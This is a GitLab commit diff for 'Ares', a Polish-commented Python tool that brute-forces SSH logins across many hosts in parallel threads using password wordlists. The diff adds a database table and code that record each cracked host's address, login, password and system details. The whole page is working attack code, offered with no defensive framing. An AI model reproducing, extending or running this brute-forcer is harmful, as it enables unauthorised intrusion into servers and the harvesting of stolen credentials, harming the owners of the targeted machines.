Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Sign in
Toggle navigation
A
Ares
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Piotr "PHT" Jasiek
Ares
Commits
1ff61b5c
Commit
1ff61b5c
authored
Nov 30, 2018
by
Piotr "PHT" Jasiek
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Baza danych jako argument, inne poprawki
parent
6fb1f88f
Hide whitespace changes
Inline
Side-by-side
Showing
7 changed files
with
41 additions
and
14 deletions
+41
-14
Readme.md
Readme.md
+10
-0
main.py
main.py
+10
-3
database.py
modules/database.py
+3
-3
fontcolor.py
modules/fontcolor.py
+1
-1
hackthreads.py
modules/hackthreads.py
+15
-7
passwords
wl/passwords
+1
-0
passwords_big
wl/passwords_big
+1
-0
No files found.
Readme.md
0 → 100644
View file @
1ff61b5c
```sql
CREATE TABLE `admin_boty`.`ares_results` (
`id` INT(255) NOT NULL AUTO_INCREMENT ,
`host` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`login` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`password` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`unixtime` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
`uname` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
PRIMARY KEY (`id`)) ENGINE = InnoDB;
```
main.py
View file @
1ff61b5c
...
...
@@ -7,7 +7,6 @@ import time
import
sys
import
os
import
threading
from
modules.database
import
*
from
modules.fileoperations
import
*
from
modules.fontcolor
import
*
from
modules.sshoperations
import
*
...
...
@@ -18,8 +17,13 @@ parser.add_argument('--user', required=True)
parser
.
add_argument
(
'--passwords'
,
required
=
True
,
type
=
open
)
parser
.
add_argument
(
'--hosts'
,
required
=
True
,
type
=
open
)
parser
.
add_argument
(
'--limit'
,
type
=
int
,
default
=
50
)
parser
.
add_argument
(
'--db'
,
default
=
"no"
)
parser
.
add_argument
(
'--dbhost'
)
parser
.
add_argument
(
'--dbuser'
)
parser
.
add_argument
(
'--dbpass'
)
parser
.
add_argument
(
'--dbname'
)
args
=
parser
.
parse_args
()
user
=
args
.
user
passwords
=
args
.
passwords
hosts
=
args
.
hosts
...
...
@@ -42,7 +46,10 @@ while (to_run != 0 and to_run > 0):
time
.
sleep
(
1
)
try
:
hack
(
host
,
user
,
lista_hasel
)
.
start
()
if
args
.
db
!=
"no"
:
hack
(
host
,
user
,
lista_hasel
,
args
.
dbhost
,
args
.
dbuser
,
args
.
dbpass
,
args
.
dbname
)
.
start
()
else
:
hack
(
host
,
user
,
lista_hasel
)
.
start
()
to_run
=
to_run
-
1
print
bcolors
.
INFO
,
"W kolejce:"
,
to_run
,
"Uruchomionych:"
,
th_amount
,
"Uruchamiam kolejne zadanie -"
,
host
,
bcolors
.
ENDC
...
...
modules/database.py
View file @
1ff61b5c
...
...
@@ -4,10 +4,10 @@ import MySQLdb
import
time
def
add_host
(
host
,
login
,
password
,
uname
):
def
add_host
(
dbhost
,
dbuser
,
dbpass
,
dbname
,
host
,
login
,
password
,
uname
):
# Open database connection
db
=
MySQLdb
.
connect
(
"host"
,
"user"
,
"pass"
,
"db"
)
db
=
MySQLdb
.
connect
(
dbhost
,
dbuser
,
dbpass
,
dbname
)
# prepare a cursor object using cursor() method
cursor
=
db
.
cursor
()
...
...
@@ -16,7 +16,7 @@ def add_host(host, login, password, uname):
unixtime
=
int
(
time
.
time
())
sql
=
"INSERT INTO
hacked(ip,login,pass,data,
uname)
\
sql
=
"INSERT INTO
ares_results(host, login, password, unixtime,
uname)
\
VALUES ('
%
s', '
%
s', '
%
s',
%
d, '
%
s' )"
%
(
host
,
login
,
password
,
unixtime
,
uname
)
try
:
# Execute the SQL command
...
...
modules/fontcolor.py
View file @
1ff61b5c
...
...
@@ -3,7 +3,7 @@
class
bcolors
:
HEADER
=
'
\033
[95m'
INFO
=
'
\033
[94m'
OK
GREEN
=
'
\033
[92m'
OK
=
'
\033
[92m'
WARNING
=
'
\033
[93m'
FAIL
=
'
\033
[91m'
ENDC
=
'
\033
[0m'
...
...
modules/hackthreads.py
View file @
1ff61b5c
...
...
@@ -2,16 +2,22 @@
#-*- coding: utf-8 -*-
import
threading
from
fontcolor
import
*
from
database
import
*
from
pexpect
import
pxssh
import
os
###Klasa odpowiadająca za połączenie z hostami i dopasowywanie haseł
class
hack
(
threading
.
Thread
):
def
__init__
(
self
,
host
,
user
,
hasla
):
def
__init__
(
self
,
host
,
user
,
hasla
,
dbhost
=
None
,
dbuser
=
None
,
dbpass
=
None
,
dbname
=
None
):
threading
.
Thread
.
__init__
(
self
)
self
.
host
=
host
self
.
user
=
user
self
.
hasla
=
hasla
self
.
dbhost
=
dbhost
self
.
dbuser
=
dbuser
self
.
dbpass
=
dbpass
self
.
dbname
=
dbname
def
run
(
self
):
for
self
.
haslo
in
self
.
hasla
:
...
...
@@ -35,12 +41,14 @@ class hack (threading.Thread):
else
:
s
.
sendline
(
'uname -a'
)
s
.
prompt
()
uname
=
s
.
before
uname
=
uname
.
replace
(
'uname -a
\r\n
'
,
''
)
uname
=
uname
.
replace
(
'
\r\n
'
,
''
)
#add_host(self.host, self.user, self.haslo, uname)
if
self
.
dbhost
:
s
.
sendline
(
'uname -a'
)
s
.
prompt
()
uname
=
s
.
before
uname
=
uname
.
replace
(
'uname -a
\r\n
'
,
''
)
uname
=
uname
.
replace
(
'
\r\n
'
,
''
)
add_host
(
self
.
dbhost
,
self
.
dbuser
,
self
.
dbpass
,
self
.
dbname
,
self
.
host
,
self
.
user
,
self
.
haslo
,
uname
)
print
bcolors
.
OK
,
"---"
,
self
.
host
,
self
.
haslo
,
"---"
,
bcolors
.
ENDC
break
...
...
wl/passwords
View file @
1ff61b5c
##false
auth
1234
12345
123456
...
...
wl/passwords_big
View file @
1ff61b5c
auth
!!!4545
!"123
!";1234
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment